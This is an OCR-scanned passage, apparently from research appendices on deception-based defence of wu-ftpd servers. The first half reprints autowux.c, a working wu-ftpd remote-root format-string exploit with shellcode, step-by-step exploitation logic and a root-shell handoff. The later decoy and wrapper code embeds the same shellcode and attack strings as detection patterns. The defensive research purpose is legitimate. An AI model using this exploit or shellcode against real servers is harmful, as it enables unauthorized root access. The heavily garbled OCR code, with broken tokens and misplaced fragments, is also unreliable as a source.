FD_SET (sock,  Srfdset) ; 

select  (sock  +  1,  Srfdset,  NULL,  NULL,  NULL); 
if  (FD_ISSET(0,  Srfdset)) 

{ 

X  =  read(0,  buf,  sizeof  (buf )) ; 
if  (X  <=  0) 
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{ 

perror ( " read  local " ) ; 
exit  (-1 ) ; 

} 

write (sock,  buf,  x) ; 

} 

if  (FD_ISSET  {sock,  Srfdset)) 

{ 

X  =  read (sock,  buf,  sizeof (buf ) ) ; 
if  (X  <=  0)  ( 

perror ( " read  remote " ) ; 
exit (-1 ) ; 

} 

write (STDOUT_FILENO,  buf,  x)  ; 


void  usage (char  *progname) 

{ 

printf (BLUE 

"autowux  -  wu-ftpd  remote  root  exploit  for  x86/linux  up  to  version  2.6.0\n 
"  2001  by  "  BROWN  "justme\n\n" 

GREEN 

"usage:  "  NORM  "%s  [-t  hostname]  [-v  version]  [-s  system  type]  [-h]\n\n" 
RED 

"versions : \n" 

NORM 

"  0\twu-ftpd-2 . 4 , *  [default] \n" 

"  l\twu-ftpd-2 . 5 . *\n" 

"  2\twu-ftpd-2 . 6 . *\n\n" 
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RED 


"system  types :\n" 

NORM 

"  0\tx86/Linux  {little  endian)  [default] \n 

"  iXtFreeBSD  (little  endian) \n\n" , 

progname 

)  ; 

exit  (-1 ) ; 


int  main(int  argc,  char  *argv[]) 
{ 


int 

sock; 

int 

x; 

char 

sendcmd [ 

1024] 

char 

recvcmd [ 

1024] 

char 

execbuf 

[1024 

int 

version; 

int 

sys_type 

char 

c; 

system ( "clear " )  ; 

while  ( (c  =  getopt (argc,  argv,  "v:t:s:h"))  !=  EOF) 

{ 

switch  (c) 

{ 

case  '  t '  : 

hostname  =  optarg; 
break; 
case  ' V ' : 

version  =  atoi (optarg) ; 
break; 
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case  's': 


} 

switch 

{ 


} 

switch 

{ 


sys_type  =  atoi (optarg) 
break; 
case  ' h ' : 


usage (argv [ 0 ] ) ; 
break; 


default : 


break; 


(version) 

case  0 : 

diststart  =  1; 
break; 


case  1 : 

diststart  =  1; 
break; 


case  2 : 

diststart  =  256; 
break; 
default : 

diststart  =  1; 
break; 


( sys_type ) 

case  0 : 

shellcode  =  linux_shellcode; 
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break; 


case  1 : 

shellcode  =  bsd_shellcode; 
break; 
default : 

shellcode  =  linux_shellcode; 
break; 

} 


printf (BLUE 

"autowux  -  wu-ftpd  remote  root  exploit  for  x86/linux  up  to  version  2.6.0\n 
"  2001  by  "  BROWN  "justme\n\n"  NORM); 


sock  =  net_connect (hostname ) ; 

memset (user,  '\0',  512); 
memset(pass,  '\0',  512); 
strcpy(user,  "ftp"); 

sprintf (pass,  " %s@aol . com" ,  shellcode); 

fprintf ( stderr,  GREEN  "step  1:  "  NORM  "logging  in...  "); 

net_ftp_login ( sock,  user,  pass); 

fprintf (stderr,  " succeeded,  continuing . . . \n" ) ; 


fprintf ( stderr,  GREEN  "step  2:  "  NORM  "checking  vulnerability...  "); 
if  (check_vuln (sock)  ==  0) 


{ 


NORM)  ; 


} 


fprintf  ( stderr ,  RED  "i'm  sorry,  but  this  server  is  not  vulnerable  :  (\n\n" 


exit (-1 ) ; 
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fprintf ( stderr ,  "vulnerable,  going  on...\n"); 

fprintf ( stderr,  GREEN  "step  3:  "  NORM  "finding  relative  distance., 
dist  =  finddist (sock) ; 

fprintf ( stderr,  NORM  " ] \n\trelative  distance  =  %d  (Ox%x)\n",  (dist 
(dist  -  1)  *  4) ; 

fprintf ( stderr,  GREEN  "step  4:  "  NORM  "getting  align ... \n" ) ; 

align  =  getalign (sock) ; 

fprintf ( stderr ,  "\talign  =  %d\n",  align); 

fprintf ( stderr,  GREEN  "step  5:  "  NORM  "finding  buffer  address... 
retaddr  =  findretaddr (sock) ; 

fprintf ( stderr ,  NORM  "]\n\treturn  addr  =  Ox%x\n",  retaddr); 

fprintf ( stderr,  GREEN  "step  6:  "  NORM  "finding  eip  location... 

retloc  =  findrl (sock) ; 

fprintf ( stderr,  NORM  "]\n\teip  @  Ox%x\n",  retloc); 

fprintf ( stderr,  GREEN  "step  7:  "  NORM  "exploiting...  \n"); 

exploit (sock) ; 

fprintf ( stderr,  GREEN  "step  8:  "  BROWN  "starting  shell,  enjoy  it  : 
shell  (sock) ; 

return  ( 0 ) ; 

} 


["  RED); 


-  1)  *  4, 


["  RED); 


["  RED); 


)\n\n"  NORM) 
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NET.C 


B, 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 


<stdio . h> 
<string . h> 
<stdarg . h> 
<sys/socket . h> 
<unistd . h> 
<netinet/ in . h> 
<net /if . h> 
<arpa/inet . h> 
<netdb . h> 
<fcntl . h> 


#def ine 


FTP_PORT  21 


unsigned  long  net_resolve_host (char  *hostname) 

{ 

unsigned  long  addr; 
struct  hostent  *host; 


host  =  gethostbyname (hostname ) ; 
if  (host  ==  NULL) 

{ 

addr  =  inet_addr (hostname ) ; 
if  (addr  <  0) 

{ 

perror  ( "error  while  resolving  hostname") 
exit (-1 ) ; 


return 


(addr) ; 


return 


(*  (unsigned  long  * ) host->h_addr ) ; 
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int  net_set_nonblock.  ( int  sock) 

{ 

int  x; 

int  flags; 

flags  =  fcntl{sock,  F_GETFL,  0); 
if  (flags  ==  1) 

{ 

close (sock) ; 
exit  (-1 ) ; 


X  =  fcntl(sock,  F_SETFL,  flags  I  0_N0NBL0CK)  ; 
if  (X  ==  -1) 

{ 


close (sock) ; 
exit  (-1 ) ; 


return 


(1) ; 


int  net_connect (char  *hostname) 

{ 

int  sock; 

struct  sockaddr_in  addr; 

int  x; 

addr . sin_f amily  =  AF_INET; 
addr . sin_port  =  htons (FTP_PORT ) ; 

addr . sin_addr . s_addr  =  net_resolve_host (hostname ) 

sock  =  socket (AF_INET,  SOCK_STREAM,  IPPROTO_TCP ) ; 
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if  (sock  <  0) 


{ 

perror ( "error  while  getting  the  socket"); 
exit (-1 ) ; 

} 


X  =  connect  ( sock,  (struct  sockaddr  *)Siaddr,  sizeof  (addr )  ) 
if  (X  <  0) 

{ 

perror ( "error  while  connecting"); 
exit (-1 ) ; 

} 

return  (sock)  ; 

} 


int  net_send(int  sock,  char  *sendbuf,  int  len) 

{ 

int  x; 

if  ( (x  =  send(sock,  sendbuf,  len,  0))  <  0) 

{ 

perror ( "error  while  sending  data."); 
exit (-1 ) ; 

} 

return  (x) ; 

} 


int  net_recv(int  sock,  char  *recvbuf,  int  len) 

{ 

int  x; 
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if  (recvbuf  ==  NULL) 


{ 

perror ( "error  while  receiving  data."); 
exit (-1 ) ; 

} 


memset (recvbuf,  '  \0  ' ,  len) ; 

if  (  (x  =  recv(sock,  recvbuf,  len  -  1,  0))  <  0) 

{ 

perror ( "error  while  receiving  data."); 
exit (-1 ) ; 

} 

recvbuf [x]  =  '\0'; 

return  x; 

} 


int  net_recv_until (int  sock,  char  *recvbuf,  int  len,  char 

{ 

int  x; 

if  (recvbuf  ==  NULL) 

{ 

perror ( "error  while  receiving  data."); 
exit (-1 ) ; 

} 

do 

{ 

memset (recvbuf,  '  \0  ' ,  len) ; 

X  =  net_recv ( sock,  recvbuf,  len); 

}  while  (strstr (recvbuf ,  string)  ==  NULL); 


^string) 
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return  x; 


} 

int  net_ftp_login ( int  sock,  char  *user,  char  *pass) 

{ 

char  userbuf [2048] ; 
char  passbuf [2048] ; 
char  recvbuf [1024] ; 


memset (userbuf ,  '\0' 
memset (passbuf ,  '\0' 
memset (recvbuf,  ' \0 ' 


sizeof (userbuf) )  ; 
sizeof (passbuf) )  ; 
sizeof (recvbuf)  )  ; 


net_recv_until (sock,  recvbuf,  sizeof (recvbuf ) ,  "220  "); 

snprintf (userbuf ,  sizeof (userbuf ) ,  "USER  %s\r\n",  user) 
snprintf (passbuf ,  sizeof (passbuf ) ,  "PASS  %s\r\n",  pass) 

net_send ( sock,  userbuf,  strlen (userbuf )) ; 
net_recv_until (sock,  recvbuf,  sizeof (recvbuf ) ,  "331  "); 

memset (recvbuf,  '  \0  ' ,  sizeof (recvbuf) ) ; 
net_send ( sock,  passbuf,  strlen (passbuf )) ; 
net_recv_until (sock,  recvbuf,  sizeof (recvbuf ) ,  "230  "); 

return  1; 

} 
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APPENDIX  B.  HIGH-LEVEL  SPECIFICATION  OF  THE  DECOY 


A  decoy  written  in  a  high-level  detection-action  language. 

This  decoy  protects  a  server  running  wu-ftpd  version  2.6.0 
from  the  SITE  EXEC  vulnerability  as  it  is  exploited  in  the 
program  autowux.c 

Its  purpose  is  to  deceive  the  attacker  into  believing  that  the 
attack  was  successful  and  protect  the  server  from  executing 
any  dangerous  commands . 


/ 

int  attackStep 

char  shellCode[]  = 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
" \x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31 " 
" \xdb\x43\x89\xd9\x41\xb0\x3f \xcd\x80\xeb\x6b\x5e\x31 " 
"\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff" 
" \x0 1 \xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x0 I\xb0\x3d\xcd" 
" \x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9" 
"  \  xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9" 
" \x7  5\xf 3\x31\xc0\x88\x4  6\x0  9\x8d\x5e\x08\xb0\x3d\xcd" 
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"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88 
"\x46\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08 
" \x8d\x56\x0c\xb0\x0b\xGd\x80\x31\xc0\x31\xdb\xb0\x01 
" \xcd\x80\xe8\x90\xf f \xf f \xf f \xf f \xf f \xf f \x30\x62\x69 
"\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31" 

event  read(iobuf,  sizeret) 

event  write (iobuf,  sizeret,  nytes) 

/*  STEP  1  */ 
step_l : : 
detect  x:  read 

&  post  (iobuf(x)  ==  shellcode) 
from  execute-program 


/*  STEP  2a  */ 
step_2a : : 
detect  x:  read 

&  post  {iobuf{x)  ==  "SITE  EXEC  %.f") 
from  execute-program 
do  { 

iobuf (x)  =  "NOOP\n\n" 
sizeret (x)  =  6 
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/*  STEP  2b  */ 


step_2b : : 
detect  x:  write 

&  pre  (iobuf(x)  ==  "''200") 
from  execute-program 
do  { 

iobuf (x)  =  "200 — 2\r\n" 
sizeret (x)  =  8 


/*  STEP  2c  */ 
step_2c : : 
detect  x:  write 

&  pre  (iobuf  (x)  ==  "''500") 
from  execute-program 
do  ( 

iobuf (x)  =  "200  (end  of  '%.f')\r\n" 
sizeret (x)  =  21 

} 

/*  STEP  3-4  a  */ 
step_3_4_a: : 
detect  x:  read 

&  post  (iobuf  (x)  ==  "''SITE  EXEC  @@@@@@@") 
from  execute-program 
do  ( 

if  (iobuf (x)  ==  "SITE  EXEC  @@@@@@@%276" ) ( 
attackStep  =  5 

} 

if  (iobuf (x)  ==  "SITE  EXEC  @@@@@@@%275 " ) ( 
attackStep  =  4 

} 
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iobuf (x) 


NOOP\n\n 


sizeret (x)  =  6 

} 

/*  STEP  3-4  b  */ 
step_3_4_b: : 
detect  x:  write 

&  pre  (iobuf  (x)  ==  "''200") 
from  execute-program 
do  ( 

if  (attackStep  ==  3)  ( 

iobuf (x)  "200-@@@@@@@0\r\n" 

sizeret  (x)  =  14 
}  else  if  (attackStep  ==  5)  ( 

iobuf  (x)  =  "200-@@@@@@@40402f 63\r\n" 
sizeret  (x)  =  21 

}  else  ( 

iobuf (x)  =  "200-@@@@@@@40404040\r\n" 
sizeret (x)  =  21 

} 

} 

/*  STEP  3-4  c  */ 
step_3_4_c: : 
detect  x:  write 

&  pre  (iobuf  (x)  ==  "''200") 
from  execute-program 
do  ( 

if  (attackStep  ==  3) ( 

iobuf (x)  =  "200  (end  of  ' @@@@@@@%256$x ' ) \r\n" 
}  else  if  (attackStep  ==  5) ( 

iobuf (x)  =  "200  (end  of  ' @@@@@@@%275$x ' ) \r\n" 

}  else  ( 
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iobuf (x) 


200  (end  of  ' @@@@@@@%276$x ' ) \n\n 


} 

sizeret (x)  =  31 


/*  STEP  5  */ 
step_5 : : 
detect  x:  read 

&  post  (iobuf (x)  ==  "SITE  EXEC  @@\xac\xdb\xf f \xf f \xbf #%276$s 
from  execute-program 
do  { 

iobuf (x)  =  "NOOP\n\n" 
sizeret (x)  =  6 


/*  STEP  5a  */ 
step_5a : : 
detect  x:  read 

&  post  (iobuf  (x)  ==  ""'SITE  EXEC  @@") 
from  execute-program 
do  { 

if  iobuf  (x)  ==  ""“SITE  EXEC  @@\x3c\xf e\xf  f \xf  f \xbf  #%27 6$s  "  { 
attackStep  =  6 

/*  Last  sequence  of  STEP  5.  Moving  to  STEP  6  */ 


iobuf (x)  =  "NOOP\n\n 
sizeret (x)  =  6 
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/*  STEP  5b  */ 


step_5b : : 
detect  x:  write 

&  pre  {iobuf{x)  ==  "'^200") 
from  execute-program 
do  { 

/*  Replace  the  error  message  with  */ 

/*  what  the  attacker  expects.  */ 

if  (attackStep  ==  6)  { 

iobuf (x)  = 

"200-0 @\xac\xdb\xff\xbf#\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@aol . com\r\n" 
sizeret (x)  =  31 

}  else  { 

iobuf (x)  = 

"20  0-@@\xac\xdb\xf  f \xbf  #l\300\215'^\001\x90\x90\x90\x90\x90\x90\x90@aol .  com\r\n" 
sizeret  (x)  =  33 

} 


} 


/*  STEP  5c  */ 
step_5c : : 
detect  x:  write 

&  pre  {iobuf  (x)  ==  "'^500") 
from  execute-program 
do  { 

/*  Replace  the  error  message  with  */ 
/*  what  the  attacker  expects.  */ 

iobuf (x)  =  "200  (end  of  '%.f')\n\n" 
sizeret (x)  =  21 

} 
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/*  STEP  6 


PART  I*/ 


step_6_I : : 
detect  X : read 

&  post  {iobuf{x)  ==  "SITE  EXEC  %277$x"  &  attackStep 
from  execute-program 
do  { 

iobuf (x)  =  "NOOP\n\n" 
sizeret (x)  =  6 


/*  STEP  6a  -  PART  I  */ 
step_6a_I :  : 
detect  X : read 


&  post  (iobuf(x)  ==  "^SITE  EXEC  %") 
from  execute-program 
do  { 


if 


(  (iobuf (x)  ==  "SITE  EXEC  %3093$x") 


1  1  (iobuf  (x)  ==  ' 

SITE 

EXEC 

%3094$x") 

1  1  (iobuf  (x)  ==  ' 

SITE 

EXEC 

%3127$x") 

1  1  (iobuf  (x)  ==  ' 

SITE 

EXEC 

%3144$x") 

1 1  (iobuf (x)  ==  ' 

SITE 

EXEC 

%3145$x") 

1  1  (iobuf  (x)  ==  ' 

SITE 

EXEC 

%3150$x") 

1  1  (iobuf  (x)  ==  ' 

SITE 

EXEC 

%3151$x") 

1  1  (iobuf  (x)  ==  ' 

SITE 

EXEC 

%3152$x") 

sizeret (x 

)  =  0 

/*  EOF  */ 

}  else  { 

iobuf (x)  =  "NOOP\n\n 

sizeret  (x)  =  6 

} 

} 
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/*  STEP  6b  -  PART  I  */ 


step_6b_I : : 
detect  x:write 

&  pre  {iobuf{x)  ==  "'^200") 
from  execute-program 
do  { 

iobuf (x)  =  "200-37322500\r\n 
sizeret (x)  =  14 

} 


/*  STEP  6c  -  PART  I  */ 
step_6c_I : : 
detect  x:write 

&  pre  {iobuf (x)  ==  "500") 
from  execute-program 
do  { 

iobuf (x)  =  "200  (end  of  '%277')\r\n 
sizeret  =  22 

} 


/*  STEP  6  -  PART  II  /  STEP  7  */ 
step_6_7_II :  : 
detect  X : read 

&  post  (iobuf  (x)  ==  "'"SITE  EXEC  @@") 
from  execute-program 
do  { 

iobuf (x)  =  "NOOP\n\n" 
sizeret (x)  =  6 
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/*  STEP  6a  -  PART  II  */ 


step_6a_II : : 
detect  x:read 

&  post  (iobuf(x)  ==  "''SITE  EXEC  @@") 
from  execute-program 
do  { 

if  (iobuf(x)  ==  "SITE  EXEC  @@\xb3\xce\xf f \xf f \xbf #%27 6$s " )  { 

attackStep  =  7 


if  (iobuf(x)  ==  "SITE  EXEC 

@@\xb4\xce\xf f \xf f \xbf \xb5\xce\xf f \xf f \xbf \xb6\xce\xf f \xf f \xbf \xb7\xce\xf f \xf f \xbf @@@@@ " ) 

{ 

attackStep  =  8 

} 

iobuf (x)  =  "NOOP\n\n" 
sizeret (x)  =  6 


} 


/*  STEP  6b  -  PART  II  */ 
step_6b_I I : : 
detect  x: write 

&  pre  (iobuf  (x)  ==  "''200") 
from  execute-program 
do  ( 

if  (attackStep  ==  7)  ( 

iobuf (x)  =  "200-@@\xb3\xce\xf f \xbf #\xbf I \r\n" 
sizeret (x)  =  15 
}  eise  if  (attackStep  ==  8)( 
iobuf (x)  =  "200- 

@@ \xb4\xce\xf f \xf f \xbf \xb5\xce\xf f \xf f \xbf \xf 6\xce\xf f \xf f \xbf \xb7 \xce\xf f \xf f \xbf 
@@@@@\r\n" 

sizeret (x)  =  33 

}  eise  ( 
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iobuf (x)  = 
sizeret (x) 


"200-@@\xb3\xce\xf f \xbf #\r\n 
=  13 


/*  STEP  6c  -  PART  II  */ 
step_6c_I I : : 
detect  x: write 

&  pre  (iobuf  ==  "''500") 
from  execute-program 
do  ( 

iobuf (x)  =  "200  (end  of  '  @@\xb3\xce\xf f \xbf %27  6$s ' ) \r\n 
sizeret (x)  =  30 

} 


/*  STEP  8a  */ 
step_8a : : 
detect  x:read 

&  post  (iobuf  (x)  ==  "''id") 
from  execute-program 
do  ( 

iobuf (x)  =  "NOOP\n" 
sizeret (x)  =  5 
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/*  STEP  8b  */ 


step_8b : : 
detect  x: write 

&  pre  (iobuf(x)  ==  "''200") 
from  execute-program 
do  { 

iobuf (x)  =  "uid=0(root)  gid=0(root)  groups=50 (ftp) \n" 
sizeret (x)  =  39 

} 


/*  STEP  8c  */ 
step_8c : : 
detect  x:read 

&  post  (iobuf (x)  ==  "id;  uname  -a;  pwd"  &  attackStep  ==  8) 
from  execute-program 
do  ( 

iobuf (x)  =  "NOOP\n" 
sizeret (x)  =  5 

} 

/*  STEP  8d  */ 
step_8d: : 
detect  x: write 

&  pre  (iobuf  (x)  ==  "''200") 
from  execute-program 
do  ( 

iobuf (x)  =  "uid=0(root)  gid=0(root)  groups=50 (ftp) \nLinux  localhost . localdomain 
2. 4. 2-2  #1  Sun  Apr  8  20:41:30  EDT  2001  1686  unknown\n/\n" 

sizeret (x)  =  121 

nbytes(x)  =  121 

} 
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ftp_decoy : : 


step_l  step_2a  step_2b  step_2c 
(step_3_4_a  step_3_4_b  step_3_4_c) * 
step_5  (step_5a  step_5b  step_5c)* 
step_6_I  (step_6a_I  step_6b_I  step_6c_I)* 
step_6_7_II  (step_6a_II  step_6b_II  step_6c_II)* 
step_8a  step_8b  step_8c  step_8d 
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APPENDIX  C.  WRAPPER  DEFINITION  IN  WDL 


/* 

*  A  wrapper  that  protects  a  system  running  wu-ftpd  2.6.0 

*  against  a  "SITE  EXEC"  attack  as  it  is  exploited  in  autowux.c 

*  Author:  George  Eragkos 

*  $Id:  ftp.wr,v  1.12  2002-08-08  12:19:16-07  root  Exp  root  $ 


*/ 

#include  <local.ch> 
#include  <libwr.h> 


wrapper  ftp  { 


char  shellCode[]  = 

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
" \x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31 
" \xdb\x43\x89\xd9\x41\xb0\x3f \xcd\x80\xeb\x6b\x5e\x31 
"\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff 
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" \x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd 
" \x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9 
" \xfe\xc9\x31\xc0\x8d\x5e\x08\xb0\x0c\xGd\x80\xfe\xc9 
" \x75\xf 3\x31\xc0\x88\x46\x09\x8d\x5e\x08\xb0\x3d\xcd 
"\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88 
"\x46\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08 
" \x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01 
" \xcd\x80\xe8\x90\xf f \xf f \xf f \xf f \xf f \xf f \x30\x62\x69 
"\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; 


int  attackStep  =  0;  /*  Keeps  track  of  the  attack  progress 

/* 

*  Lifecycle  function. 

*/ 

wr_activate()  { 

wr_printf ( "FTP  Wrapper  Activated. \n" ) ; 

} 


/* 


*  Lifecycle  function. 


*/ 

wr_deactivate  ()  { 

wr_printf  (  "FTP  Wrapper  Deactivated. \n" ) ; 

} 


/* 


*  Lifecycle  function. 


*/ 

wr_duplicate  ()  { 

wr_printf  (  "FTP  Wrapper  Duplicated.  \n"  )  ; 

} 
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WR_LOCAL : : { 


/*  This  variable  is  never  used. 

*  It  is  declared  so  that  wrapc  generates 

*  declarations  for  my_seq_data  struct. 

*/ 

int  i; 


/* 

*  STEP  1 

* 

*  We  detect  the  shellCode  being  sent  as  the  anonymous 

*  password.  We  can  safely  assume  that  we  are  dealing  with 

*  an  attack. 

*/ 

op{read}  &&  step  (((char  *)$iobuf)  =~  m| shellCode I  )  post  { 
wr_printf ( "FTP  Wrapper:  STEP  l.\n"); 
attackStep  =  1; 

}; 

/* 

*  STEP  2a 

* 

*  The  attacker  sends  a  SITE  EXEC  command  to  test  if  the  server 

*  is  vulnerable. 

*  We  intercept  this  command  and  prevent  it  from  executing. 

*  A  harmless  command  is  sent  in  place  of  the  SITE  EXEC  command 

*  causing  the  server  to  respond  with  two  lines  of  messages.  These 

*  messages  are  intercepted  by  steps  2b  and  2c  and  replaced  with 

*  what  the  attacker  is  expecting. 

*/ 
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op{read}  &&  step  ((((char  *)$iobuf)  =~  mi"^SITE  EXEC  %.f"!  ))  post  { 


char  *  newbuf; 


wr_printf ( "FTP  Wrapper:  STEP  2\n"); 
attackStep  =  2; 

/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 

/*  that  causes  the  server  to  respond  with  two  lines  */ 
newbuf  =  wr_strdup ( "NOOP\n\n" )  ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  6;  /*  Change  the  return  value  of  the  read  system  call 
/*  to  reflect  the  changes  we  made  to  the  buffer 


/* 

*  STEP  2b 
*/ 

op{write}  &&  step  ((((char  *)$iobuf)  ='“  mi  "'^200"  |)  &&  (attackStep  ==  2)) 
char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
newbuf  =  wr_strdup ( "200 — 2\r\n"); 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  8; 

}; 

/* 

*  STEP  2c 
*/ 

op{write}  &&  step  ((((char  *)$iobuf)  ='“  mT'^^SOO"!)  &&  (attackStep  ==  2)) 
char  *  newbuf; 


*/ 

*/ 


pre  { 


pre  { 
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/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 


newbuf  =  wr_strdup ( "200  (end  of  ' % . f ' ) \r\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  21; 


/*  STEP  3  -  STEP  4  */ 
switch  { 


/* 

*  STEP  3/4-a 
*/ 

case  opiread}  &&  step  {{{char  *)$iobuf)  =~  mi"^SITE  EXEC  @@@@@@@"1)  post  { 
char  *  newbuf; 

wr_printf { "FTP  Wrapper:  STEP  3\n"); 
if  (attackStep  ==  2){ 
attackStep  =  3; 

} 


if  {{{char  *)$iobuf)  =~  mi'^^SITE  EXEC  @@@@@@@%27 6 "  1  )  { 

/*  This  is  the  last  sequence  of  STEP  3.  Move  to  STEP  4.*/ 
attackStep  =  4; 


if  {{{{char  *)$iobuf)  =~  mT'^^SITE  EXEC  @@@@@@@%275 "  1  ) 

&&  (attackStep  ==  4))  { 

/*  This  is  the  last  sequence  of  STEP  4.  Move  to  STEP  5.*/ 
attackStep  =  5; 

wr_printf { "FTP  Wrapper:  STEP  4\n"); 

} 
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/* 

*  The  attacker  expects  two  lines  from  the  server. 

*  So  we  have  to  replace  the  SITE  EXEC  command  with 

*  a  command  that  causes  the  server  to  return  two  lines. 

*  We  want  to  be  able  to  distinguish  between  the  first  and 

*  second  line  of  the  server's  response  because  we  are  going 

*  to  replace  each  one  with  a  different  string. 

*  This  effect  is  achieved  with  the  command  "NOOP\n\n". 

*  The  NOOP  command  will  execute  first  returning  a  success  message. 

*  The  second  new  line  character  will  be  executed  as  an  empty 

*  command  returning  an  error  message. 

*/ 

newbuf  =  wr_strdup ( "NOOP\n\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  6; 


/* 

*  STEP  3/4-b 
*/ 

case  op{write}  &&  step  ((((char  *)$iobuf)  =~  mi "^200"!) 

&&  (attackStep  >  2))  pre  { 

char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
if  (attackStep  ==  3)  ( 

newbuf  =  wr_strdup ( "200-@@@@@@@0\r\n" ) ; 

$sizeret  =  14; 

}  else  if  (attackStep  ==  5)  { 

newbuf  =  wr_strdup ("200-@@@@@@@40402f63\r\n")  ; 
$sizeret  =  21; 
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}  else  { 


newbuf  =  wr_strdup ( "200-@@@@@@@40404040\r\n" ) ; 
$sizeret  =  21; 

} 

delete  $iobuf; 

$iobuf  =  newbuf; 


/* 

*  STEP  3/4-c 
*/ 

case  op{write}  &&  step  ((((char  *)$iobuf)  =~  ml'^^SOO"!) 

&&  (attackStep  >  2))  pre  { 

char  *  newbuf; 

/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
if  (attackStep  ==  3) ( 

/*  If  we  want  to  be  more  precise,  this  should  */ 

/*  not  always  be  256.  It  should  change  */ 

/*  according  to  the  contents  of  iobuf  */ 

newbuf  = 

wr_strdup ( "200  (end  of  '  @@@@@@@%256$x ' ) \r\n" ) 
}  else  if  (attackStep  ==  5) { 
newbuf  = 

wr_strdup ( "200  (end  of  ' @@@@@@@%275$x ' ) \r\n" ) 

}  else  { 

newbuf  = 

wr_strdup ( "200  (end  of  ' @@@@@@@%276$x ' ) \r\n" ) 

} 

delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  31; 
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}; 


}  *  /*  End  of  STEP  3  -  STEP  4  */ 


/*  STEP  5  */ 


op{read}  &&  step 

((((char  *)$iobuf)  ='“  mr''^SITE  EXEC  @@\xac\xdb\xf  f \xf  f \xbf  #%27  6$s "  |  ))  post  { 


char  *  newbuf; 


wr_printf ( "FTP  Wrapper:  STEP  5\n"); 


}; 


/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 

/*  that  causes  the  server  to  respond  with  two  lines  */ 
newbuf  =  wr_strdup ( "NOOP\n\n" ) ; 
delete  $iobuf; 

$iobuf  =  newbuf; 

$sizeret  =  6;  /*  Change  the  return  value  of  the  read  system  call  */ 
/*  to  reflect  the  changes  we  made  to  the  buffer  */ 


switch  { 

case  (op{read}  &&  (step  ((((char  *)$iobuf)  ='“  mi"'^SITE  EXEC  @@"i  )  )))  post  { 

char  *  newbuf; 

if  (((char  *)$iobuf)  =~  m|""SITE  EXEC  @@\x3c\xf e\xf f \xf f \xbf #%27 6$s " |  )  { 

attackStep  =  6;  /*  Last  sequence  of  STEP  5.  Moving  to  STEP  6  */ 

} 
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/*  Replace  SITE  EXEC  command  with  a  harmless  command  */ 


/*  that 
newbuf  = 
delete  $ 
$iobuf  = 
$sizeret 


causes  the  server  to  respond  with  two  lines  */ 

^  wr_strdup { "NOOP\n\n" )  ; 
iobuf ; 

^  newbuf; 

=  6;  /*  Change  the  return  value  of  the  read  system  call 
/*  to  reflect  the  changes  we  made  to  the  buffer 


*/ 

*/ 


/* 

*  STEP  5b 
*/ 

case  op{write}  &&  step  (((char  *)$iobuf)  =~  ml'^^COO"!)  pre  { 
char  *  newbuf; 


/*  Replace  the  error  message  with  what  the  attacker  expects.  */ 
